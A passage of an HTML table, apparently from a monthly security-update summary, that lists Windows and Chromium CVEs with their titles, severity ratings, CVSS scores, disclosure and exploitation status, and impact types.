  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32217">CVE-2026-32217</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32218">CVE-2026-32218</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26169">CVE-2026-26169</a></td>
  <td>Windows Kernel Memory Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27929">CVE-2026-27929</a></td>
  <td>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32071">CVE-2026-32071</a></td>
  <td>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20930">CVE-2026-20930</a></td>
  <td>Windows Management Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26162">CVE-2026-26162</a></td>
  <td>Windows OLE Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33101">CVE-2026-33101</a></td>
  <td>Windows Print Spooler Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32084">CVE-2026-32084</a></td>
  <td>Windows Print Spooler Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27927">CVE-2026-27927</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26184">CVE-2026-26184</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32069">CVE-2026-32069</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32074">CVE-2026-32074</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32078">CVE-2026-32078</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26167">CVE-2026-26167</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32158">CVE-2026-32158</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32159">CVE-2026-32159</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32160">CVE-2026-32160</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26172">CVE-2026-26172</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20928">CVE-2026-20928</a></td>
  <td>Windows Recovery Environment Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32216">CVE-2026-32216</a></td>
  <td>Windows Redirected Drive Buffering System Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27909">CVE-2026-27909</a></td>
  <td>Windows Search Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26161">CVE-2026-26161</a></td>
  <td>Windows Sensor Data Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26174">CVE-2026-26174</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32224">CVE-2026-32224</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26154">CVE-2026-26154</a></td>
  <td>Windows Server Update Service (WSUS) Tampering Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Tampering</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26165">CVE-2026-26165</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26166">CVE-2026-26166</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27918">CVE-2026-27918</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32151">CVE-2026-32151</a></td>
  <td>Windows Shell Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225">CVE-2026-32225</a></td>
  <td>Windows Shell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32202">CVE-2026-32202</a></td>
  <td>Windows Shell Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32082">CVE-2026-32082</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32083">CVE-2026-32083</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32068">CVE-2026-32068</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32183">CVE-2026-32183</a></td>
  <td>Windows Snipping Tool Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32089">CVE-2026-32089</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32090">CVE-2026-32090</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32153">CVE-2026-32153</a></td>
  <td>Windows Speech Runtime Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27907">CVE-2026-27907</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32076">CVE-2026-32076</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27908">CVE-2026-27908</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27921">CVE-2026-27921</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27915">CVE-2026-27915</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27919">CVE-2026-27919</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32075">CVE-2026-32075</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27916">CVE-2026-27916</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27920">CVE-2026-27920</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32077">CVE-2026-32077</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27925">CVE-2026-27925</a></td>
  <td>Windows UPnP Device Host Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32156">CVE-2026-32156</a></td>
  <td>Windows UPnP Device Host Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32223">CVE-2026-32223</a></td>
  <td>Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32165">CVE-2026-32165</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27911">CVE-2026-27911</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32163">CVE-2026-32163</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32164">CVE-2026-32164</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23670">CVE-2026-23670</a></td>
  <td>Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27917">CVE-2026-27917</a></td>
  <td>Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32080">CVE-2026-32080</a></td>
  <td>Windows WalletService Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32222">CVE-2026-32222</a></td>
  <td>Windows Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21637">CVE-2026-21637 *</a></td>
  <td> HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers</td>
  <td> Moderate</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33119">CVE-2026-33119</a></td>
  <td>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>5.4</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829">CVE-2026-33829</a></td>
  <td>Windows Snipping Tool Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5858">CVE-2026-5858 *</a></td>
  <td>Chromium: CVE-2026-5858 Heap buffer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5859">CVE-2026-5859 *</a></td>
  <td>Chromium: CVE-2026-5859 Integer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5272">CVE-2026-5272 *</a></td>
  <td>Chromium: CVE-2026-5272 Heap buffer overflow in GPU</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5273">CVE-2026-5273 *</a></td>
  <td>Chromium: CVE-2026-5273 Use after free in CSS</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5274">CVE-2026-5274 *</a></td>
  <td>Chromium: CVE-2026-5274 Integer overflow in Codecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5275">CVE-2026-5275 *</a></td>
  <td>Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5276">CVE-2026-5276 *</a></td>
  <td>Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5277">CVE-2026-5277 *</a></td>
  <td>Chromium: CVE-2026-5277 Integer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5279">CVE-2026-5279 *</a></td>
  <td>Chromium: CVE-2026-5279 Object corruption in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5280">CVE-2026-5280 *</a></td>
  <td>Chromium: CVE-2026-5280 Use after free in WebCodecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5283">CVE-2026-5283 *</a></td>
  <td>Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5284">CVE-2026-5284 *</a></td>
  <td>Chromium: CVE-2026-5284 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5285">CVE-2026-5285 *</a></td>
  <td>Chromium: CVE-2026-5285 Use after free in WebGL</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5286">CVE-2026-5286 *</a></td>
  <td>Chromium: CVE-2026-5286 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5287">CVE-2026-5287 *</a></td>
  <td>Chromium: CVE-2026-5287 Use after free in PDF</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5289">CVE-2026-5289 *</a></td>
  <td>Chromium: CVE-2026-5289 Use after free in Navigation</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5290">CVE-2026-5290 *</a></td>
  <td>Chromium: CVE-2026-5290 Use after free in Compositing</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5860">CVE-2026-5860 *</a></td>
  <td>Chromium: CVE-2026-5860 Use after free in WebRTC</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5861">CVE-2026-5861 *</a></td>
  <td>Chromium: CVE-2026-5861 Use after free in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5862">CVE-2026-5862 *</a></td>
  <td>Chromium: CVE-2026-5862 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5863">CVE-2026-5863 *</a></td>
  <td>Chromium: CVE-2026-5863 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5864">CVE-2026-5864 *</a></td>
  <td>Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5865">CVE-2026-5865 *</a></td>
  <td>Chromium: CVE-2026-5865 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5866">CVE-2026-5866 *</a></td>
  <td>Chromium: CVE-2026-5866 Use after free in Media</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5867">CVE-2026-5867 *</a></td>
  <td>Chromium: CVE-2026-5867 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5868">CVE-2026-5868 *</a></td>
  <td>Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5869">CVE-2026-5869 *</a></td>
  <td>Chromium: CVE-2026-5869 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5870">CVE-2026-5870 *</a></td>
  <td>Chromium: CVE-2026-5870 Integer overflow in Skia</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5871">CVE-2026-5871 *</a></td>
  <td>Chromium: CVE-2026-5871 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5872">CVE-2026-5872 *</a></td>
  <td>Chromium: CVE-2026-5872 Use after free in Blink</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5873">CVE-2026-5873 *</a></td>
  <td>Chromium: CVE-2026-5873 Out of bounds read and write in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5291">CVE-2026-5291 *</a></td>
  <td>Chromium: CVE-2026-5291 Inappropriate implementation in WebGL</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5292">CVE-2026-5292 *</a></td>
